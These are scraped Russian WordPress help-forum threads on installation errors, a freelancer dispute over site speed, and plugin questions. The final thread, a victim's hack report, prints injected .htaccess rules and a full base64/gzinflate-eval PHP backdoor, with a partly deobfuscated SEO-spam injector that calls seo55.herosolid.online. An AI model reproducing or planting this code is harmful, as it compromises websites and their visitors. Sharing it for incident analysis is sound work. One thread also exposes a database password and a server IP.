Error establishing a database connection при установке

При установке WordPress по <a href=”https://serveroid.com/ru/kb/wordpress-on-ubuntu.html”>инфе</a>:CREATE DATABASE wordpress;CREATE USER wordpressuser@localhost IDENTIFIED BY ‘QW12er#$’;GRANT ALL PRIVILEGES ON wordpress.* TO ‘wordpressuser’@’localhost’;FLUSH PRIVILEGES;При запуске <a href=”http://217.107.217.56/wordpress/wp-admin/install.php”>http://217.107.217.56/wordpress/wp-admin/install.php</a> получаю сообщение об ошибке: Error establishing a database connection. По проверке базы в терминале получаю успех:SHOW GRANTS FOR ‘wordpressuser’@’localhost’; http://ipic.su/img/img7/fs/kiss_29kb.1661412417.jpg Базу в wp-config.php прописал так:define(‘DB_NAME’, ‘wordpress’);define(‘DB_USER’, ‘wordpressuser’);define(‘DB_PASSWORD’, ‘QW12er#$’);виртуальный хост в apache-e:/etc/apache2/sites-available/wordpress.conf<VirtualHost *:80>    DocumentRoot /var/www/html/wordpress/    ServerName example.com    ErrorLog /var/log/apache2/wordpress_error.log    CustomLog /var/log/apache2/wordpress_access.log common    <Directory /var/www/html/wordpress>        Options FollowSymLinks        Options +Indexes        AllowOverride All        Order allow,deny        Allow from all        </Directory></VirtualHost>ln -s /etc/apache2/sites-available/wordpress.conf /etc/apache2/sites-enabled//etc/init.d/apache2 reloadchown -R www-data:root /var/www/html/wordpressПрошу проверить, прошу помочь разобраться.

Обновление WP не задалось

Здравствуйте. Дря моего сайта russkijmetall.ru нанял фрилансера обновить ВП и плагины, результат – подтормаживает сайт. Фрилансер то про завирусованный мой браузер, то про vds для моих десятков посетителей в сутки. Второй проверяющий фриласер немного по-другому хочет сделать. Сейчас пока поставил бекап сайта от 8 июля.
Прошу помочь разобраться. Спасибо.
Ниже привожу переписку с первым и вторым фрилансером.
Ниже привожу переписку с первым фрилансером и анализ второго.
Роман Петров
1) Обновил все плагины (WP уже последней версии)
2) Вместо WP Fastest Cache Premium установил и настроил WP Rocket, который работает быстрее
3) Проверил настройки безопасности и удалил ненужные плагины, в том числе дублирующиеся.
4) Скорость увеличилась с 51 и 95 баллов до 58 и 99 баллов.
08.08.22 13:58
Роман Петров
Загружен файл:
2022-08-06_23-12-26.png
08.08.22 23:11
Виталий Русанов
Прошу перечень удаленных плагинов.
08.08.22 23:14
Виталий Русанов
Утром писал запрос, и мгновенно заходил с яндекса на главную. Сейчас страница несколько секунд грузилась,
08.08.22 23:23
Роман Петров
Добрый вечер, список удаленных плагинов не вел, там были три плагина на кэширование, и еще пару, точно не задействованных в работе сайта.
08.08.22 23:26
Роман Петров
Что касается скорости. На выходных как и писал я ускорил сайт путем кэширования через WP Rocket.
Он дает мгновенный заход на страницу если вы не залогинены в админке. Но в случае если вы вошли, то загрузку тормозило построение меню.
Сегодня я переписал вызовы меню, чтобы тяжелых запросов было меньше. Но пришлось пожертвовать расхлопыванием меню справа.
Скорость выросла в 4 раза: загрузка снизилась с 4,6 секунды до 1,2 с (высылаю на скриншотах).
08.08.22 23:26
Роман Петров
Загружен файл:
2022-08-08_21-49-37.png
08.08.22 23:26
Роман Петров
Загружен файл:
2022-08-08_22-42-17.png
08.08.22 23:33
Роман Петров
Как видите, устранено 34 медленных запроса. Теперь сайт грузится быстро и при логине в админке.
Если вдруг расхлопывание Меню справа нам необходимо, то есть два варианта:
1) Вернуть исходный код правого меню (я сохранил резервные копии) — тогда время загрузки главной страницы для залогиненного пользователя увеличится в два раза до 2,8 секунды.
2) Переделать структуру сайта (с сохранением URL-путей), чтобы каталог был в специальном каталоге, а не в корне в Страницах наряду со страницами “О нас”, “Схема проезда” и так далее.
Сейчас, повторюсь, на сайте страницы продукции реализованы неправильно: без отдельного каталога.
08.08.22 23:34
Роман Петров
Загружен файл:
2022-08-08_23-33-53.png
08.08.22 23:40
Роман Петров
По плагинам вспомнил: Webcraftic Clearfy (очень вредный плагин, который ломает работу сайта) и Search Regex (плагин для разработчика, который не нужен для дальнейшей работы сайта)
09.08.22 12:53
Виталий Русанов
Лисой захожу с яндекса на главную, полная загрузка крутится секунд 15. От чего так?
09.08.22 12:56
Виталий Русанов
перешел на страницу О нас – бесконечно круг загрузки крутится на закладке.
09.08.22 13:34
Роман Петров
Проверил в Firefox — сайт быстро грузится, также как и в Chrome.
Предположу, что либо у вас завирусился браузер, либо плагины какие-то тормозят его работу.
Можно попробовать в приватной (инкогнито) вкладке открыть, тогда плагины будут отключены.
09.08.22 13:36
Роман Петров
Версия Firefox последняя: 103.0.1 (64 бита)
09.08.22 13:52
Виталий Русанов
Это хорошо что у вас все хорошо, я понял это с первого раза. В то утро до манипуляций сайт летал. Сейчас – как на видео (ябраузер) и дело не в браузере. Никакой заходящий не будет настраивать свой браузер для захода ко мне.
09.08.22 13:53
Виталий Русанов
другие сайты летают – Вики открыл
09.08.22 13:58
Виталий Русанов
“завирусился” – это у нас теткам в бухгалтерии говорят обычно
09.08.22 13:59
Виталий Русанов
кеша браузера очистка – тоже все самое
09.08.22 14:01
Роман Петров
1:05
До начала работ в пятницу сайт грузился дольше 5 секунд, сейчас он грузится 1 секунду. В этом и есть увеличение скорости.
Если на каких-то машинах он грузится дольше, то это проблема машины. Проверьте, пожалуйста, на другом компьютере. Сам сайт легкий, а проблемы в движке и теме сайта, вызывавшие долгую загрузку, устранены.
Записал видео чтобы было видно наглядно высокую скорость загрузки:

09.08.22 14:03
Виталий Русанов
концепция переделки тут не нужна. Всегда все пытались переделать – результат один, как сейчас, тормозит сайт. Всегда помогал WP Fastest Cache Premium.Сайт так организован, лучше оптимизировать как есть, а не переделывать.
09.08.22 14:06
Виталий Русанов
Зачем мне видео? Мне надо чтобы он работал быстро и у меня. И при настройке нормальной он работал годами. 5 с страница, это он в последнее время грузится. Сейчас стал по 25 сек. Никакой другой сайт так не грузится на это завирусованной машине.
09.08.22 14:08
Виталий Русанов
Загружен файл: whatsapp video 2022-08-09 at 13.44.34.mp4
09.08.22 14:15
Виталий Русанов
могу любой интернетомер пройти, показать
09.08.22 14:17
Виталий Русанов
сейчас в лисе повторно с яндекса главная резво загрузилась, видно кеш браузера помогает, на новую другую страницу захожу долго. Никогда так не было.
09.08.22 14:18
Виталий Русанов
Прошу не спешить и разобраться. Лучше вернуть пока сайт в изначальное положение.
09.08.22 14:46
Роман Петров
На вашем видео действительно грузится 15 секунд. При этом выполнен логин в админку, а значит страница грузится без кэша. В этом случае она должна грузиться до 3 секунд. Википедия скорей всего уже закэширована в браузере, поэтому грузится с вашего компьютера минуя сеть.
Проблема долгой загрузки когда исключены проблемы с сайтом может быть по нескольким причинам:
1) Проблемы на хостинге (если загрузка неравномерная, то быстрая то медленная)
2) Проблемы у локального провайдера интернета (ниже тест скорости и пинга)
3) Проблемы на компьютере (здесь рекомендую проверить с другого компьютера, так как искать вирусы или переустанавливать ОС займет много времени)
могу любой интернетомер пройти, показать
https://www.speedtest.net/ пройдите и вышлите скриншот.
09.08.22 14:51
Роман Петров
В изначальном положении он грузится дольше ( 5 секунд), поэтому рекомендую оставить текущую версию.
09.08.22 14:55
Роман Петров
Чтобы исключить хостинг, просьба делать скриншот панели Query Monitor в тот момент когда загружалось долго.
09.08.22 14:55
Роман Петров
Загружен файл:
2022-08-08_22-42-17.png

09.08.22 15:07
Роман Петров
Отключил тяжелый плагин, теперь грузится еще быстрее. Он мог вызывать тормоза, помониторьте как работает сейчас.
09.08.22 15:11
Виталий Русанов
стало быстрее
09.08.22 15:15
Виталий Русанов
прошу еще все пересмотреть и перепроверить
09.08.22 15:15
Виталий Русанов
вечером буду на месте
09.08.22 15:16
Виталий Русанов
с админкой что-то совсем долго
09.08.22 15:22
Роман Петров
Сейчас у нас два плагина на вывод похожих статей, ищу какой лишний.
09.08.22 15:35
Роман Петров
Он используется в новостях. Оставляем.
Удаляю Simple Custom Post Order — на сайте на данный момент не используются записи типа Custom Post, поэтому сортировка для них не нужна.
09.08.22 15:36
Роман Петров
Еще PB SEO Friendly Images — бестолковый плагин. Надо руками прописывать alt для изображений при SEO-оптимизации. Он только хуже делает. Предлагаю удалить.
09.08.22 15:46
Роман Петров
Загружен файл:
2022-08-09_15-45-58.png

09.08.22 15:46
Роман Петров
Загружен файл:
2022-08-09_15-45-46.png
09.08.22 15:51
Роман Петров
Виталий, подтвердилась очень долгая загрузка. Это 100% проблема хостинга. При долгом браузинге и учитывая часы пика сайт стал виснуть.
Выше скинул скриншоты: зависает именно сервер, рендеря скрипт дольше 6 секунд. А на втором вылетел в 502, то есть nginx не справился с посетителями.
Настоятельно рекомендую переезд на VPS (сейчас это обычный шаред, когда на одном сервере размещены сотни сайтов).
По стоимости 800 рублей в месяц и первоначальная настройка 5000 с переносом данного сайта.
10.08.22 00:25
Виталий Русанов
Переехать то можно, только на сайте около 100 человек всего посетителей.
10.08.22 00:38
Роман Петров
На сайте 100, а на сервере, где он размещен десятки и сотни тысяч. В перспективе можно и другие сайты на VPS перенести.
Как бы то ни было, проблема спонтанно возникающих тормозов в хостинге. Предлагаю это решение.
1:05
ну, частично он может и прав, что проблема в хостинге(сервере). Обычно такие проблемы бывают из-за перегруженного сервера хостинга https://clip2net.com/s/4glT7px по консоли видно, как даже не подгрузились картинки.1:18
Но, он отмечает плагин кэширования WP-Roket, к сожалению, в моем опыте – это ужасный плагин, от которого не поймешь, как избавиться от закэшированных страниц и что именно он закешировал и когда. Я тоже для оптимизации использую Wp Faster Cache Premium1:19
ну а по факту, если мне память не изменяет, я на момент, когда откликался на заказ, смотрел показатели сайта и они для моб составляли на уровне 70, в то время, как сейчас 53 https://clip2net.com/s/4glT92l1:21
самый простой сценарий проверки, чья теория верна – это откатываемся до бэкапа, когда еще не проводилась работа. Я надеюсь бекап делался и можно легко вернуться все, как и было. Также делаем бекап сейчас проделанной работы и просто “откладываем” ее. Восстанавливаем бекап – и сразу же в моменте проверяем скорость сайта. Если скорость стала выше, чем после проделанных работ – значит проблем в проделанных работах. Но это в целом наверное ему разбираться, ну либо мне будете вдвойне переплачивать, потому как человек получил 15тыс. за кривую работу, а я буду всю схему разбирать в районе 3 тыс. )) Теорию я вам описал, все достаточно просто, упаковуем его работу, заливаем до и сразу сверяем скорость и легко определяем правда ли проблема в хостинге.1:25
а вот сделал проверку не под админкой и вот так выдает https://clip2net.com/s/4glTfnV1:37
avatar
но сайт грузится через раз, одинаковые страницы грузится одна быстро, другая очень долго. Проблема либо в хостинге, либо в плагине Wp Roket, так как отметил, у меня он всегда доставлял проблем, как и WP Super Cache.

Выдаёт ошибку белый экран при входе в админ панель

Не могу войти в админ панель. Выдаёт ошибку На сайте возникла критическая ошибка, пытался включить дебаг но всё равно ничего не выдаёт. Сам сайт работает без проблем но в админ панель не получается войти. Может кто нибудь помочь 

Ошибки валидатора из за WP Rocket

Включил LazyLoad подгрузку картинок и скриптов в плагине WP Rocket на сайте https://www.wemake.co.il/ . После чего в валидаторе появилось море ошибок.
На сайте рокета написано, что это некритично, но мне все равно хотелось бы решить эту проблему.
Подскажите пожалуйста как это исправить чтобы не отключать LazyLoad.

Чужая html разметка

Я разработал сайт на WordPress
https://www.astlaw.co.il/ . Суть проблемы в следующем. Клиент при создании постов, вставляет текст из сторонних сайтов.
В код каким то образом попадает чужая html разметка. Периодически это ломает страницы.
Еще на двух других проектах похожая ситуация.
Как решить это раз и навсегда? Может кто то сталкивался.

Вакансии / Developers

Нужна помощь. Помощь оплачиваемая.

доброго дня! Нужна помощь.  Помощь оплачиваемая. Нужно сделать так, чтобы готовая страница html стала доступна по ссылке.  Страница содержит    панораму 360. Сейчас она не открывается, тк скорее всего некорректно настроены разрешания на доступ к папке данных страницы. Как вариант - вставить ее через ифрейм...

Бесплатное использование

Здравствуйте! Сверстал сайт-визитку руками (https://igor0606victorovich.github.io/handMade/), хочу натянуть на WP (БЕЗ ПРИОБРЕТЕНИЯ ПЛАТНОГО АККАУНТА PRO), столкнулся с проблемой, что
нет доступа к css.
Вопрос:
– возможно сверстать без платной подписки?
– возможно приобрести подписку на месяц, а не на год, как предлагают на сайте?
– адаптивность активизируется только после подписки?

Необходимо вставить аудио

Добрый день. Можете ли вы помочь для того чтобы вставить аудио точно так же как на фотографии, чтобы он был в правом боку сайта на любой странице, а треки в виде url адреса

Фильтр товаров на главном экране

Всем привет, кто-нибудь может подсказать возможно с помощью каких плагинов можно сделать похожий фильтр на главную страницу?

Организация бронирования жилья на сайте

Всем привет. Ребята, подскажите плагин или как лучше реализовать задачу. Есть множество вариантов жилья (частные виллы, хостелы) и нужно организовать на сайте Вордпрес возможность для посетителей выбрать регион жилья, диапазон цен, количество человек и желательно но не обязательно отметить такие доп.услуги как например проживание с дом.животными и т.п. Т.е человек выбирает нужные параметры, нажимает поиск и у него выдаются нужные варианты из тех, которые я заранее ввел в базу своего сайта. Либо что б например посетитель выбрал просто регион жилья и мог отсортировать по цене например, по звездности отеля  в регионе. В сети самый распространенный плагин, который я нашел, это MotoPress Hotel Booking, но я так понял он расчитан на отель с множеством вариантов проживания, а мне нужно создавать страницы разных вариантов жилья с фотками и ценами.

WP all import неправильно распределяет картинки

Импортирую товары. В файлах все правильно, в логах когда импортируются – привязка фото по названию тоже правильно. Но на выходе почему то изображения не соответствуют товару и логам! То есть в логах “Название-54.jpg”, а на деле в карточке товара какой то любой другой jpg. И каждый раз по разному, но не так как надо! Может кто сталкивался?

Атака на админку

Здравствуйте.Проблема с сайтом на WordPress. Постоянная атака, каким-то образом ставят птичку в настройках: регистрация пользователя как админа, и регистрируют новых пользователей как админов. Ставлю блок на admin через хостинг, убираю галочку с настроек, меняю все пароли. Но каким-то образом опять регистрируются. Помогите понять как, и как можно защитить сайт?

Вакансии / Developers

Разработка сайта на wordpress шаблон nokri

Разработка сайта на wordpress шаблон nokri.  Кого интересует пишите goodfrilance@gmail.com

Не работает ссылка с баннера сайта.

Ранее токой проблемы не было, а сейчас, при нажатии на баннер, открывается окно, что небезопасный ресурс и опять открывается сайт. Где то ошибка в коде, но где- не знаю смотреть. Подскажите, плз!
сайт https://today-press.ru/ – слева и внизу баннеры. Работает только верхний.

Вакансии / SEO

Нужен программист Битрикс или WordPress

Обязанности: знакомы с разработкой под CMS Битрикс ИЛИ Wordpress; Разработка , поддержка и развитие клиентских проектов (сайтов, модулей и сервисов) на базе 1С Битрикс или WordPress; Интеграция по API с внешними сервисами. Требования: Подтвержденный опыт разработки под Битрикс или wordpress от 1 года....

Плагины для сайта с системой поддоменов

Добрый день! Планируется создать сайт, чтобы
человек при переходе с конкретного города попадал на соответствующий поддомен,
ну то бишь москва точка сайт точка ру грубо говоря. Естественно на каждой такой
странице потребуется заменять заголовки, а в идеале ещё и текст. Заранее
заполнять текст вручную даже на 100 городов будет весьма трудоёмко. По этому и
пришёл к Вам с вопросом: Какие плагины и решения посоветуете, чтобы это можно
было реализовать?

Как натянуть вторую страницу на wp

Здравствуйте,
Как натянуть ещё страницы на wp?
Я создал новую тему, закинул туда файлы сайта и поправил ссылки на css, я не нашёл инфы как натянуть следующую страницу этого же сайта. Например страницу О_НАС.
Как подключить header к второй странице (о нас)
Так же как сделать ссылки в header на эти страницы.
Пожалуйста помогите не могу разобраться.

Проблемы с сайтом

Всем привет. Я здесь новенький, никогда не работал с вордпрес, сделал лишь однажды 1 сайт на wix. Теперь решил перенести его на WordPress, по разным причинам. И столкнулся с тем, что очень не понятно меню и вообще все управление. Но ладно, пытаюсь разобраться.Не получается сделать несколько вещей, поэтому решил уже просить помощи.Выбрал тему, и пытаюсь убрать все виджеты справа, на фото снизу, не получается. Это вообще возможно?В целом, я могу на любой теме повторить сайт который нужен мне?, или я должен найти максимально похожую тему?Сразу скажу, это не работа для меня, просто помогаю, сам хожу в море.

Фото растянуты на телефоне

В статьях есть фотографии. Если смотреть с пк или ноута, нормально, а если с телефона, фото растягиваются в длину. 
После обновления так и я не знаю как исправить. Памагити 😐

Уязвимость в WP 5.8.3

Доброго дня, товарищи. 

Утром ошарашил клиент – отхлебнула админка, попросил посмотреть. 
Собственно, заглянул – и правда. Не грузятся стили, разделы не работают. 
Полез в логи – а их нет (спасибо тебе, Бегет, за отключенные по дефолту логи), так что пришлось разбираться ручками. 

Собственно, 10.01 примерно в 12.32 по МСК были модифицированы файлы index.php, wp-admin/edit.php, wp-admin/index.php, и ещё с десяток других. 
К тому же в каждую директорию был добавлен .htaccess следующего содержания: 

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.php|jsdindex.php|load.php|xmlrpcs.php|container.php|entity.php|header.php|style.php|constant.php|access.php|locale.php|uninstall.php|themes.php|wp-login.php|scindex.php|admin.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>

В зараженные PHP было всунуто следующее: 

<?php

$x = "'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'";$a = base64_decode($x);$b = gzinflate($a);eval($b);
?>

В деобфусцированном виде: 

<?php
error_reporting(0);@set_time_limit(3600);@ignore_user_abort(1);$xmlname = 'mapss.xml';$dt = 0;$sitemap_file = 'sitemap';$mapnum = 2000;if(isset($_GET['dt'])){	$dt = $_GET['dt'];}$site = @$_GET['smsite'];$jdir = '';$http_web = 'http';if(is_https()){ $http = 'https';}else{ $http = 'http';}$smuri_tmp = smrequest_uri();$uri_script = "";if(strstr($smuri_tmp, ".php") && !$site){	$uri_arr = explode(".php", $smuri_tmp);	$uri_script = $uri_arr[0].".php?";	$smuri_tmp = $uri_arr[1];	$smuri_tmp = str_replace("?", "/", $smuri_tmp);}if($smuri_tmp==''){    $smuri_tmp='/';}$s = 'b'.'ase6'.'4_e'.'ncode';$smuri = $s($smuri_tmp);function smrequest_uri(){    if (isset($_SERVER['REQUEST_URI'])){        $smuri = $_SERVER['REQUEST_URI'];    }else{        if(isset($_SERVER['argv'])){            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];        }else{            $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];        }    }    return $smuri;}@$action = $_GET['ac']?$_GET['ac']:"";if($action != "" && $action == "write"){	write();	echo "write done!";	exit();}$temp = @$_GET['smtemp'];$id = @$_GET['smid'];$page = @$_GET['smpage'];$site = str_replace('/','',$site);$host = $_SERVER['HTTP_HOST'];$clock = '';
$tempweb = @$_GET['tempweb'];$tempweb = str_replace('/','',$tempweb);
if(preg_match('@pingsitemap.xml@i',$smuri_tmp)){	@header("Content-type: text/css; charset=utf-8");	if($uri_script == ""){$uri_script="/";}	$sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script"."sitemap.xml";	$contents = get($sitemap);	if(strpos($contents, "Sitemap Notification Received")){		echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap.xml"." : OK!<br>";	}else{		echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap.xml"." : ERROR!<br>";	}	$mnum = mt_rand(30, 80);	for($i = 0; $i < $mnum; $i++){		$sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script"."sitemap$i.xml";		$contents = get($sitemap);		if(strpos($contents, "Sitemap Notification Received")){			echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap$i.xml"." : OK!<br>";		}else{			echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap$i.xml"." : ERROR!<br>";		}	}	exit;}

$goweb = 'seo55.herosolid.online';$password = md5(md5(@$_GET['pd']));if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {    $add_content = @$_GET['mapname'];    $action = @$_GET['action'];    $domain = @$_GET['domain'];    if($domain){        $host = $domain;    }else{        $host = $_SERVER['HTTP_HOST'];    }    //$host = $_SERVER['HTTP_HOST'];    $path = dirname(__FILE__);
